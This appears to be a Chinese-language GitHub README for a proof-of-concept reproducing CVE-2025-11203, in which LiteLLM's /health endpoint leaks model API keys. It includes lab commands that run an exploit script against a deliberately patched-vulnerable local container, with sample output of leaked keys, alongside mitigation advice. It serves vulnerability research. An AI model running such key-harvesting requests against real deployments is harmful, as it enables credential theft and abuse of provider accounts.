learner202649/CVE-2025-11203-PoC
GitHub: learner202649/CVE-2025-11203-PoC
这是一个用于重现 CVE-2025-11203 漏洞的概念验证代码,展示 LiteLLM 健康端点如何泄露 API 密钥。
Stars: 0 | Forks: 0
# CVE-2025-11203 — LiteLLM 健康端点 API_KEY 信息泄露
| 字段 | 值 |
|-------|-------|
| **CVE** | **CVE-2025-11203** |
| **ZDI ID** | ZDI-25-929 (ZDI-CAN-26585) |
| **CVSS v3.0** | **3.5 (低危)** — `AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N` |
| **CWE** | CWE-200 (敏感信息向未经授权的参与者暴露) |
| **受影响版本** | LiteLLM **< 1.63.14** |
| **修复版本** | **v1.63.14+** (`_clean_endpoint_data()` 全面应用) |
| **发布日期** | 2025-10-29 |
| **发现者** | David Fiser & Alfredo Oliveira — Trend Micro 安全研究团队 |
| **向厂商报告** | 2025-03-25 |
| **相关链接** | [ZDI-25-929](https://www.zerodayinitiative.com/advisories/ZDI-25-929/) • [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-11203) • [GHSA-w4vf-cc4x-mpjq](https://github.com/advisories/GHSA-w4vf-cc4x-mpjq) |
## 描述
LiteLLM 的 `/health` 端点用于返回所有已配置模型的健康状态。正常情况下,`_clean_endpoint_data()` 函数应从健康检查响应中移除敏感字段(如 `api_key`、`x-api-key` 等)。
然而在 v1.63.14 之前,该清理函数在某些代码路径中**未被执行或执行不完整**,导致模型配置中的 API Key 在健康检查响应中被明文返回。
### 漏洞端点
| 端点 | 方法 | 说明 |
|------|------|------|
| `/health` | GET | 返回所有模型的健康状态 |
| `/health/liveliness` | GET | 存活检查 |
| `/health/readiness` | GET | 就绪检查 |
### 泄露的敏感信息
已认证用户可通过健康检查接口获取:
- 所有已配置模型的 **API Key**(OpenAI、Anthropic、Azure 等)
- 模型端点 URL 等信息
- 存储的凭据可被用于进一步攻击
## 概念验证
### 快速启动 (Docker)
```
# 1. 启动脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行利用脚本
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key
# 4. 查看完整响应
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose
# 5. (可选)验证修复版本
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed
```
### 预期输出
```
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
Target : http://localhost:4000
API Key : sk-litellm-master-key...
Endpoint : /health
[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
HTTP 200 — OK
[*] Step 2: Scanning for leaked credentials...
[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!
Path : unhealthy_endpoints[0].api_key
Field : api_key
Value : sk-this-is-a-leaked-openai-key...cdef123456 (len=43)
Path : unhealthy_endpoints[1].api_key
Field : api_key
Value : sk-another-leaked-key-789012xy...-789012xyz (len=31)
Path : unhealthy_endpoints[2].api_key
Field : api_key
Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx (len=33)
Models checked: 3
Credentials leaked: 3
[🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!
```
**修复版本拒绝泄露:**
```
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
No API keys found in response.
[+] Expected: keys sanitized by _clean_endpoint_data()
```
## 技术细节
### 漏洞代码
漏洞位于 `litellm/proxy/health_check.py` 中的 `_clean_endpoint_data()` 函数,其通过 `ILLEGAL_DISPLAY_PARAMS` 列表过滤 `api_key` 等敏感字段:
```
ILLEGAL_DISPLAY_PARAMS = [
"messages",
"api_key",
"prompt",
"input",
"vertex_credentials",
"aws_access_key_id",
"aws_secret_access_key",
]
def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
return (
{k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
if details is not False
else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
)
```
**本演示中**已通过 `sed` 从 `ILLEGAL_DISPLAY_PARAMS` 中移除 `"api_key"`,使 `/health` 响应返回原始模型配置,模拟该清理函数在某些代码路径中被绕过的情况。
### 影响
- 已认证的低权限用户可以读取所有模型配置中的 API Key
- 泄露的凭据可用于直接调用 LLM 提供商 API
- 可导致进一步的数据泄露和账户接管
## 环境
```
CVE-2025-11203/
├── README.md # This file
├── docker-compose.yml # Vulnerable + fixed LiteLLM
├── litellm_config.yaml # Config with 3 models + API keys
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│ └── exploit.py # Main exploit script
├── docs/
│ └── advisory.md
└── screenshots/
```
## 修复
在 v1.63.14 中修复,确保 `_clean_endpoint_data()` 在所有健康检查代码路径中被正确调用。
### 缓解措施
1. **升级** LiteLLM 到 **v1.63.14+**
2. 若无法升级,限制 `/health` 端点的访问来源
3. 监控健康检查端点的异常访问
## 参考资料
- [ZDI-25-929](https://www.zerodayinitiative.com/advisories/ZDI-25-929/)
- [NVD 详情](https://nvd.nist.gov/vuln/detail/CVE-2025-11203)
- [GHSA-w4vf-cc4x-mpjq](https://github.com/advisories/GHSA-w4vf-cc4x-mpjq)
- [LiteLLM v1.63.14 发布说明](https://docs.litellm.ai/release_notes/v1.63.14-stable)
标签:API安全, API密钥泄露, CVE-2025-11203, CVE漏洞, Docker, JSON输出, LiteLLM, Python, 代码复现, 低危漏洞, 信息泄露, 健康检查, 健康端点, 凭据泄露, 安全测试, 安全漏洞, 安全防御评估, 情报收集, 攻击性安全, 敏感信息暴露, 无后门, 漏洞利用代码, 漏洞复现, 漏洞研究, 网络安全, 请求拦截, 逆向工具, 隐私保护